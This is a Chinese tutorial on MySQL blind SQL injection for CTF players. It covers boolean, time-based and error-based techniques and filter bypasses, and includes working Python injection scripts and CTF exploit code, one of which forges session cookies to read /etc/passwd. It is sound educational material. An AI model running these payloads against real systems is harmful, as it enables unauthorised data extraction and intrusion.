1

一文搞定MySQL盲注

 2 years ago
source link: https://www.anquanke.com/post/id/266244
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言

无论是CTF还是实战渗透测试中,SQL注入都是一个非常热门的漏洞。通常人们根据SQL注入是否有回显将其分为有回显的注入和无回显的注入,其中无回显的注入顾名思义就是大家常说的盲注了。但是盲注不像union联合查询直接注出结果那么明了,利用起来也不是简单一两行SQL代码就可以完成,因此难度更大一些。
目前的CTF中MySQL的盲注依然是热点之一,然而盲注又被分成Like盲注、正则盲注、异或盲注等等太多类型,让新入门的萌新十分摸不到头脑。本文希望以言简意赅的语言帮助刚入门WEB CTF的选手们快速“拿捏”MySQL盲注。

PS:其他关系型数据库(比如postgresql/sqlite)的盲注都大同小异,语法略有不同,会了MySQL然后再去看看其他数据库的语法和文档基本别的数据库就也会了。目前CTF中十有八九是MySQL,所以本文也就全部讲MySQL了。

0x01 盲注介绍

什么是盲注?

首先盲注是SQL注入的一种,SQL注入是指:WEB应用程序没有对用户的输入进行足够的安全校验,用户的输入被拼接进SQL语句并执行该SQL语句,由于用户输入了一些满足SQL语句语法的字符,拼接进SQL语句后执行最终导致数据库执行了本不应该被执行的非法操作。

举个例子(以下全文都用这个例子),一个学生信息查询系统,输入学生学号就会返回学生的姓名和专业,实际上就是执行的SELECT name,majority FROM student WHERE student_id = '$id'; 正常情况下用户输入的是一个学号,那么返回该学生的信息。如果用户输入的是123' or '1'='1,整个语句就变成了SELECT name,majority FROM student WHERE student_id = '123' or '1'='1';会返回所有学生的信息。

而盲注是在SQL注入的基础上,根据SQL注入的回显不同而定义的。以上面这个例子为例,用户输入学号,WEB程序打印出该学生的姓名和专业,这个姓名和专业是数据库里存储的具体数据,而WEB程序将这个数据库里的数据原封不动的告诉 我们了,这种就叫有回显。而无回显是指,WEB程序不再告诉我们具体的数据了,可能只告诉我们说:“查询成功”、“查询失败”,甚至可能只说一句“查询完成”或者什么都不说。虽然我们并不能直接得到数据库中的具体数据,但是SQL语句的拼接发生了、非法的SQL语句也执行了,那么SQL注入就发生了,只是SQL注入的结果我们没有直接拿到罢了。

虽然是无回显的,但也并不意味着就无从下手了,盲注正是为了针对这种情况的!盲注更像是一种爆破、一种无脑测试,具体注入的时候,比如想注入数据库名,攻击者在做这样的事:

如果"数据库名"的第1个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是c,你就说“查询成功”,否则就说“查询失败”
...
如果"数据库名"的第2个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是c,你就说“查询成功”,否则就说“查询失败”
...

这样通过不断的测试,最终根据WEB程序返回的“查询成功”和“查询失败”,攻击者判断出了想注入数据的每一位是什么,那么就也能够得到这个数据的具体值了。最后补充一下,这里所说的“查询成功”和“查询失败”,是指WEB程序的回显,而这个回显基本上是由SQL语句查询是否成功(也就是SQL语句是否查询出数据)决定的,而SQL查询结构是被WHERE子句所控制的,所以攻击者一般就是对WHERE子句进行构造。

盲注有哪些分类?

总体来讲,盲注分为布尔型和延时型两大类。

布尔型就是上面所说的“查询成功”和“查询失败”,根据SQL语句查询的真和假,WEB程序有两种不同的回显,这两种不同的回显就被称为“布尔回显”。

延时型也就是所谓的时间盲注,即在无法通过布尔盲注判断的情况下,通过响应时长来判断。在做延时盲注时,攻击者构造的SQL语句是这样的意思:如果满足xx条件,就sleep(5),否则就不sleep。数据库如果执行了sleep()就会延时,而WEB程序和数据库做交互就会等数据库的这个延时,用户(攻击者)和WEB程序做交互那么用户就也得等WEB页面的这个延时,所以攻击者只需要根据页面的响应时间的长短就可以判断xx条件是否满足了。而这个xx条件,可能就是“数据库名的第一位是否为a”这样的判断语句。

这里将布尔盲注又细分出了一个新的类型——报错盲注,这个报错盲注和我们通常说的报错注入是完全不同的东西,这种注入类型我们在后面再专门进行介绍。

0x02 盲注怎么注

盲注的步骤

前面一直是以抽象的中文来表示盲注的操作,这里我们使用SQL语句进行更详细的说明。

还是那个学生查询的例子:SELECT name,majority FROM student WHERE student_id = '$id'; 其中$id为用户输入,假设为布尔盲注,回显为“查询成功”和“查询失败”。

Step 1: 找注入点

关于找注入点比较简单,学过SQL注入应该都会,如果题目给了源码就直接看着SQL语句构造就行了。

如果没有给源码,我们需要先测试字段类型是字符型还是数字型,然后看是否有回显,然后用or 1=1#之类的东西去测试。具体测试时,我们先想象他的SQL语句是select xx from yy where zz = '$your_input'; 因为基本所有题的SQL语句都是这个结构,在这个SQL语句结构的基础上去测试就好了。

Step 2: 构造condition

所谓的condition就是某个条件,这个条件的真与假可以影响SQL语句的查询结果,进而影响WEB页面的回显。例如输入0' or 1=1#0' or 1=2#(#是注释符):

SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#'  #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#'  #查询失败

这里我们可以明确的知道student_id为0的学员是不可能存在的,那么上述SQL语句的查询结果就完全由or后面的1=11=2来决定了。SQL中=意为“是否相等”,所以1=1就表示1是否等于1,这是一个布尔表达式,它的结果只有True和False两种。

这个能直接影响整个SQL语句查询结果的1=11=2,也就是这个布尔条件表达式,就是我们目前Step 2要构造的condition。

Step 3: 注数据

现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句,就可以了!

SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....

布尔盲注中的布尔回显

  1. 最常见的就是回显的内容不同,比如查询成功查询失败,回显长度有时也可以
  2. 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
  3. 看HTTP状态码,比如结果为真则3xx重定向,为假则返回200

盲注脚本的编写

分析可知:

  • 针对截取的每一位,都要把字母表跑一遍来判断是否相等,因此需要两层循环,外层循环为位数,内层循环为具体值。
  • 对于注入不同的数据,只要修改内部子查询就好了,其他的部分不需要改动,因此可以把子查询写成一个单独的变量。

于是可以写出这样的注入脚本:

# 导入所需模块
import requests
import string 

# 构造字母表,根据字母表去爆破每一位的具体值
alphabet = string.ascii_letters + string.digits + ",}{_="

# 题目的URL
url = "http://127.0.0.01/?student_id="

# 注入什么数据,select变量就写什么子查询语句
select = "select database()" 
select = "select group_concat(table_name) from information_schema.tables where table_schema=database()" 

# 用来保存注入出的结果
result = ""

for i in range(1,100): # 外层循环,从1开始,因为截取的位数是从1开始的
    for ch in alphabet: # 内层循环,是具体需要测试的值

        # 构造SQL语句,发起请求
        payload = f"2019122001' and substr(({select}) ,{i},1) = '{ch}' %23"
        r = requests.get(url=url+payload)

        # 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的
        if "查询成功" in r.text:
            result += ch 
            print("注入成功:", result)
            break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了

        # 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)

虽然每个题目的注入脚本各有不同,但是基本都是这样的结构,可以根据这个脚本的结构来写你自己的注入脚本。

0x03 盲注的两个基本问题

两个基本问题是什么

通过上面的内容,你已经能够进行简单的盲注了,然而实际的题目中会加上各种各样的过滤,为了绕过这些过滤,盲注被分成了LIKE注入、MID注入、LEFT注入、正则注入、IN注入、BETWEEN注入等各种各样的注入类型,学习起来非常不便。==这其实是完全没有必要的!==

我们来观察这个注入语句substr((select database()),1,1) = 'a',你会发现他实际上就是两个部分组成的:

  1. 字符串截取,截取字符串的某一位
  2. 比较是否相等

实际上所有的盲注都需要满足这两个部分,那么我们不妨就将其称为“盲注的两个基本问题”,即:

  1. 字符串的截取

两个基本问题的必要性

既然是基本问题,就是不可或缺的、必须具备的。那么为什么说这是盲注的基本问题呢?我们可以反向分析。

字符串的截取

因为盲注是一种brute force,所以我们可以计算一下爆破所需的次数。假设我们需要注入的数据是一个7位的包含大小写字母和数字的单词,那么每一位的可能性就是:26大写字母+26小写字母+10数字=62个字符。

将其截取成每一位然后判断,每一位最多62次就可以爆破出来,那么一共最多也就是62x7=434次就可以爆破出来了。

如果不截取成每一位,而是直接硬着头皮去爆破,那么就是62^7=3521614606208种可能性,3521614606208 / 434 = 8114319369,所需的工作量整整多了81亿多倍!

比较

这个没啥可说的,如果没法比较,就没办法根据条件的真假来影响SQL语句的结果进而影响WEB页面的回显,那就没法判断了!

0x04 字符串截取与比较的方法

上一个部分说了,我们没有必要将盲注分成LIKE注入IN注入什么什么那么多方法,总结下来只有两个基本问题。所以说各种各样的盲注的分类其实都跑不出这两个基本问题,那么其实只要我们能掌握所有的截取和比较的方法,我们就相当于是掌握了所有的盲注方法!

以下是我总结的目前已出现的字符串截取与比较的方法,如有其他欢迎补充。这里我们测试的注入数据是select database(), 结果为college

字符串截取方法

substr()

这是最最最最基本的截取函数!

使用方法:substr(要截取的字符串,从哪一位开始截取,截取多长)

注意,这里截取的开始位数是从1开始数的,比如截取第一位那么就写1而不是0。substrsubstring是同名函数。

mid()

substr()用法基本一样,是substr()完美的替代品。

right()

表示截取字符串的右面几位。

使用方法:right(截取的字符串,截取长度)

到了right()函数就不太好用了,因为substr()mid()是精确截取某一位的,而right()不能这样精确的截取,他只能截取某些位。

技巧:和ascii / ord函数一起使用,ascii()或ord()返回传入字符串的首字母的ASCII码。ascii(right(所截取字符串, x))会返回从右往左数的第x位的ASCII码,例如:

另外建议能用ASCII码判断时,就不要直接用明文字符进行判断,尽量用ASCII。理由如下:①如果直接用明文字符进行判断,有一些特殊符号(单引号反斜线等)会干扰整个SQL语句的语法。②ASCII将字符转成数字,数字可以用大于小于的判断,可以二分注入,而字符基本只能用等号判断(字符其实也可以大于小于判断,但是很麻烦,可以想象一下无列名盲注)。

left()

表示截取字符串的左面几位。

使用方法:left(截取的字符串,截取长度)

right一样,依然是个不能精确截取某一位的函数,但是也可以利用技巧来实现精准截取。

技巧:和reverse() + ascii() / ord()一起使用。ascii(reverse(left(所截取字符串, x)))会返回从左往右数的第x位的ASCII码,例如:

regexp

用来判断一个字符串是否匹配一个正则表达式。这个函数兼容了截取与比较。

使用方法:binary 目标字符串 regexp 正则

但是直接字符串 regexp 正则表达式是大小写不敏感的,需要大小写敏感需要加上binary关键字(binary不是regexp的搭档,需要把binary加到字符串的前面而不是regexp的前面,MySQL中binary是一种字符串类型):

rlike

regexp一样。

trim()

trim()函数除了用于移除首尾空白外,还有如下用法:

TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str) 表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

例如trim(leading 'a' from 'abcd')表示移除abcd句首的a, 于是会返回bcd

利用TRIM进行字符串截取比较复杂,在讲解之前我们需要明确一个点:例如trim(leading 'b' from 'abcd')会返回abcd,因为这句话意思是移除abcd句首的b,但是abcd并不以b为句首开头,所以trim函数相当于啥也没干。

为了讲解,这里我用i来表示一个字符,例如i如果表示a,那么i+1就表示bi+2就表示c。注入时,需要进行2次判断,使用4个trim函数。第一次判断:

SELECT TRIM(LEADING i FROM (select database())) = TRIM(LEADING i+1 FROM (select database()));

我们知道select database()结果为college,比如现在i表示a,那么i+1就表示b,则trim(leading 'a' from 'college')trim(leading 'b' from 'college')都返回college(因为college不以a也不以b为开头),那么这个TRIM() = TRIM()的表达式会返回1。也就是说如果这个第一次判断返回真了,那么表示i和i+1都不是我们想要的正确结果。反之,如果这个TRIM() = TRIM()的表达式返回了0,那么ii+1其中一个必是正确结果,到底是哪个呢?我们进行二次判断:

SELECT TRIM(LEADING i+2 FROM (select database())) = TRIM(LEADING i+1 FROM (select database()));

在第二次判断中,i+2i+1做比较。如果第二次判断返回1,则表示i+2i+1都不是正确结果,那么就是i为正确结果;如果第二次判断返回0,则表示i+2i+1其中一个是正确结果,而正确结果已经锁定在ii+1了,那么就是i+1为正确结果。这是通用的方法,一般写脚本时,因为循环是按顺序来的,所以其实一次判断就能知道结果了,具体大家自己写写脚本体会一下就明白了。

当我们判断出第一位是'c'后,只要继续这样判断第二位,然后第三位第四位..以此类推:

SELECT TRIM(LEADING 'ca' FROM (select database())) = TRIM(LEADING 'cb' FROM (select database()));
SELECT TRIM(LEADING 'cb' FROM (select database())) = TRIM(LEADING 'cc' FROM (select database()));
SELECT TRIM(LEADING 'cc' FROM (select database())) = TRIM(LEADING 'cd' FROM (select database()));
......

使用trim的例题

第四届美团CTF初赛,EasySQL,我的EXP:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 
import os 
from urllib.parse import quote
import base64

def getsession(username):
    def getcmd(cmd):
        cmdpfx = '''python3 ./Y1ngTools/flask-session-cookie-manager/flask_session_cookie_manager3.py encode -s 'ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada' -t '''
        return cmdpfx + f''' "{cmd}" '''
    session = "{'islogin': True, 'pic': '../../../../../../etc/passwd', 'profiles': 'Administrator user, with the highest authority to the system', 'user': 'US3RN4ME'}"
    session = session.replace('US3RN4ME', username.replace("'", "\\'"))
    res = os.popen(getcmd(session)).read()
    return res.replace('\n', '')

def readfile(r):
    try:
        res = r.text.split('base64,')[1].split("\" width=")[0]
    except:
        print("不存在")
        exit(0)
    print(base64.b64decode(res.encode()).decode('utf-8'))

burp0_url = "http://eci-2ze2ptl1d7s4w0vn6x9d.cloudeci1.ichunqiu.com:8888/home"
burp0_cookies = {"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1636507075", "__jsluid_h": "c7d0c61afe2b3dd7eaeaa660783dab2d", "session": ".eJxdjEEOgzAMBL9i-YzInVufElGDLYUY2Q4IVf17A8dKe5ud-aB40VUqTmGNBtxlxgnHMf1tN52TU1kS1UNMK_av6SKFvAuv9yZVPCyHGjQnG-CUYAgmYFmZPCC3YDWJC0If4JcHbb10C72S7wp-fyh_MkQ.YbSA5Q.vuB7TdIOHJjOxeb0QJe13mBgRkw"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}

def text2hex(s):
    res = ""
    for i in s:
        res += hex(ord(i)).replace("0x", "")
    return "0x" + res

select = 'select group_concat(column_name) from information_schema.columns where table_schema=0x637466'
select = 'select group_concat(f1aggggggg) from flagggishere'
# f1aggggggg
# table flagggishere
res = 'flag{'
for i in range(1,200):
    for ch in range(40, 128):
        payload = f"""' or trim(leading {text2hex(res+chr(ch))} from ({select}))=trim(leading {text2hex(res+chr(ch+1))} from ({select}))='1""".replace(' ', '/**/')
        burp0_cookies['session'] = getsession(payload)
        r = req.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
        try:
            if 'Who are you?' in r.text.split('''<h2>Profiles:''')[1]:
                res += chr(ch+1)
                print("[*] 注入成功", res)
                break 
            else:
                print(ch)
        except Exception as e:
            print(r.text)

        if ch == 127:
            print("[*] 注入完成")
            exit(0)

insert()

虽然字面意思为插入,其实是个字符串替换的函数!

用法:insert(字符串,起始位置,长度,替换为什么)

在进行字符串截取时,可以实现精确到某一位的截取,但是要对其进行变换,具体原理大家可以自己分析,这里直接给出使用方法:

SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,''); # 这里截取的位数从0开始数

使用INSERT()进行注入的exp脚本可以看后面报错盲注的例题。

= > <

最基本的比较方法!

LIKE

基本上可以用来替代等号,如果没有% _之类的字符的话。

RLIKE / REGEXP

上面截取时候已经讲过了,正则是截取+比较的结合体。

BETWEEN

用法:expr BETWEEN 下界 AND 上界;

说明:表示是否expr >= 下界 && exp <= 上界,有点像数学里的“闭区间”,只是这里的上下界可以相等,比如expr是2,那么你没必要写2 between 1 and 3,完全可以写成2 between 2 and 2。所以x between i and i就是表示x是否等于i的意思。

IN

用法:expr1 in (expr1, expr2, expr3)

说明:有点像数学中的元素是否属于一个集合。同样也是大小写不敏感的,为了大小写敏感需要用binary关键字。

AND和减法运算

and 也可以用&&来表示,是逻辑与的意思。

在盲注中,可以用一个true去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

OR和减法运算

or 也可以用||来表示,是逻辑或的意思。

在盲注中,可以用一个false去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

异或注入

虽然也可以做比较,比如:

但是异或更多应用在不能使用注释符的情况下。注入时,SQL语句为SELECT xx FROM yy WHERE zz = '$your_input';因为用户的输入后面还有一个单引号,很多时候我们使用#或者--直接注释掉了这个单引号,但是如果注释符被过滤了,那么这个单引号就必须作为SQL语句的一部分,这时可以这样做:

WHERE zz = 'xx' or '1'^(condition)^'1';

而对于'1'^(condition)^'1'这个异或表达式,如果condition为真则返回真,condition为假就返回假

上面开始时讲的盲注的步骤,找到这个condition后,我们只要将condition换成具体的注入语句(也就是字符串截取与比较的语句)就可以了。所以异或的好处是:能够让你自由的进行截取和比较,而不需要考虑最后的单引号,因为异或帮你解决了最后的单引号。

在没有注释符的情况下,除了异或,还可以用连等式、连减法式等等!根据运算中condition返回的0和1进行构造就行了。

CASE

两种用法:

CASE WHEN (表达式) THEN exp1 ELSE exp2 END; # 表示如果表达式为真则返回exp1,否则返回exp2
CASE 啥 WHEN 啥啥 THEN exp1 ELSE exp2 END; # 表示如果(啥=啥啥)则返回exp1,否则返回exp2

CASE一般不用来做比较,而是构造条件语句,在时间盲注中更能用到!

0x05 延时盲注

基本利用-sleep

基础利用

用法:sleep(延时的秒数)

一般情况下,使用ifcase构造条件表达式进行延时:

if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;

无if和case的解决办法

假设ifcase被ban了,又想要根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法即可:

sleep(5*(condition))

如果condition为真则返回1,5*(condition)5*1为5,延时5秒;如果condition为假则返回0,5*(condition)5*0为0,延时0秒。

Bypass方法

benchmark

是替代sleep的首选。

用法:benchmark(执行多少次,执行什么操作)

通过修改执行的次数和执行的操作(比如sha1(sha1(sha1(sha1())))这样多套几层),可以精准控制延时时间。

笛卡尔积

也就是所谓的HEAVY QUERY,用的不多。

get_lock

可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。

正则

通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

写脚本的技巧

很多人喜欢这样写脚本:

start_time = int(time.time())
requests.get(url)
end_time = int(time.time())
if end_time - start_time > 3: # 用开始时间和结束时间做差
    print("延时发生了,注入成功")

这其实非常不好!因为我们发现了除了sleep其他基本都不太能精准控制延时时长,这样写脚本就是:你延时多久我就等你多久。太慢了!如果一次延时要一个小时,你也要等他一个小时吗?很明显不太明智,等你注完黄瓜菜都凉了。

正确的写延时盲注脚本的方法应该是:

try:
    requests.get(url, timeout=3)
except:
    print("延时发生了,注入成功")

我们利用timeout=3设置了一个3秒的超时,如果超时会抛出Exception。这样写代码的好处是:就算它要延时一年,我们也就等他3秒钟,然后就开始下一轮循环了,不用陪着MySQL延时,大大提高了脚本的效率。

0x06 报错盲注

报错盲注介绍

看这样一个题目的代码:

$con = new mysqli($hostname,$username,$password,$database)
$con->query("select username, password from users where username='$username' and password='$password'");
if ($con->error) {
    die("ERROR")
} else die("查询完成");

可以发现这是一个符合延时盲注条件的题目,因为题目没有根据查询结果的真假进行不同的布尔输出。但是题目同时ban掉了所有延时盲注所需的关键字,这时怎么办呢?

我们注意到,它会根据MySQL的query是否出错来选择是否输出ERROR,这其实就是布尔回显,因此报错盲注依然是布尔盲注的一种,但是他又和传统布尔盲注有显著的不同。

为了解决这个问题,如果我们能做到如下的操作就可以进行布尔盲注了:

if( condition, 报错, 不报错)
case when (condition) then 报错 else 不报错 end

问题就是,这个我们手工构造的报错应该如何来搞呢?

手工报错的方法

exp(99999)

exp(x)返回e^x 也就是e的x次方。所以exp(x)实际上就是f(x)=e^x^

既然是指数函数,增长率是很大的,那么就很容易变得很大,大到MySQL无法承受就报错了:

cot(0)

余切三角函数

pow(99999,999999)

和C语言一样,是用来求平方的,我们依然利用数太大导致报错这个思路:

我们可以发现,报错盲注和延时盲注很像,延时盲注是“条件满足就sleep”,报错盲注是“条件满足就error”,那么如果ifcase被ban了,如何进行报错盲注呢?

exp

我们发现exp(1) exp(2)这些是ok的,而exp(9999)就报错了,不免会问:exp的临界值是多少?是709

基于此我们可以让709加上一个condition,或者710减去一个condition。也可以利用sleep()用的乘法思想。

condition真则报错:

exp((1=1)*9999)
exp(709+(1=1))

condition假则报错:

exp(710-(1=2))

cot

思路参考exp的,不详细说了。

condition真则报错

cot(1-(1=1))

condition假则报错:

cot(1=0) # 直接把条件放cot()函数里

pow

condition真则报错:

pow(1+(1=1),99999)

condition假则报错:

pow(2-(1=1),99999)

在2021年11月左右的第四届“强网”拟态挑战赛的决赛中,有一道叫adminprofile的题目,大概是思路是:

  1. INSERT()截取+报错盲注,注出密码
  2. 登录,通过AJAX找接口,发现任意读
  3. 读源码,justSafeSet模块存在原型链污染漏洞
  4. AST Injection RCE

第一步的注入大概是过滤了if case exp cot和好多字符串截取和比较的关键字。注入的exp如下:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 
import time  

url = 'http://ip:port/'
s = req.session()

def sqli():
    res = ''
    for i in range(0,20):
        for j in range(0, 100):
            j = 130-j
            data = {
                'password' : f"'||pow((2-(ord(insert((insert(password,1,{i},'')),2,99999,''))-{j})),9999999999999)#"
            }
            r = req.post(url=url+'login', data=data)
            if 'error' not in r.text:
                res += chr(j+1)
                print(res)
                break
            if j == 31:
                print("注入完成, 密码是", res)
                return res

def login(password):
    data = {'password' : password}
    r = s.post(url=url+'login', data=data, allow_redirects=False)
    if str(r.status_code)[0] != '3':
        print("登录失败")
        exit(0)
    print("登录成功")

if __name__ == '__main__':
    login(sqli())

题目没有复现环境,主要参考exp中所使用的payload,以及脚本的写法。

0x07 Bypass

上面其实已经讲了很多Bypass的方法,比如各种截取和比较的方法其实都是用来做bypass的,这里再简单总结一些其他的

行内注释(推荐)

100%用来替代空格
select/*woshizhushi*/id/**/from/**/student;

换行符(推荐)

%0d%0a也是不错的替代空格的方法。

括号

select(id)from(student);
但是括号不能去括一些mysql自带的关键字,例如不能把from括起来,不作为首选的绕过方法。

反引号

对于表名和列名可以用反引号包裹起来。

select`id`from`student`;

select关键字

mysql8.0

在MySQL 8.0版本中,table student 等价于 select * from student;

在当前的表查其他字段

在对当前表的列名注入时,可以直接写字段名,而无需select 该字段 from 该表

select * from student where student_id = '2019122001' and ascii(substr(name,1,1))>0; # 这里name直接写,而不需要写成select name from student

单引号和字符串

没有单引号就没有字符串,如何写字符串?

1.字符串的十六进制形式

'abc' 等价于 0x616263

2. unhex()hex()连用

'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i

具体转换的步骤是:①abc转成16进制是616263616263转十进制是6382179 ③用科学计数法表示6e6+382179 ④套上unhex(hex()),就是unhex(hex(6e6+382179));

没有单引号没办法做SQL注入的参数逃逸

1. 宽字节注入

2. 转义法

条件是:用户可以控制一前一后两个参数
方法是:前面的参数输入\转义掉单引号,后面参数逃逸出来
例如:select * from users where username = '\' and password = 'and 1=1#'


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK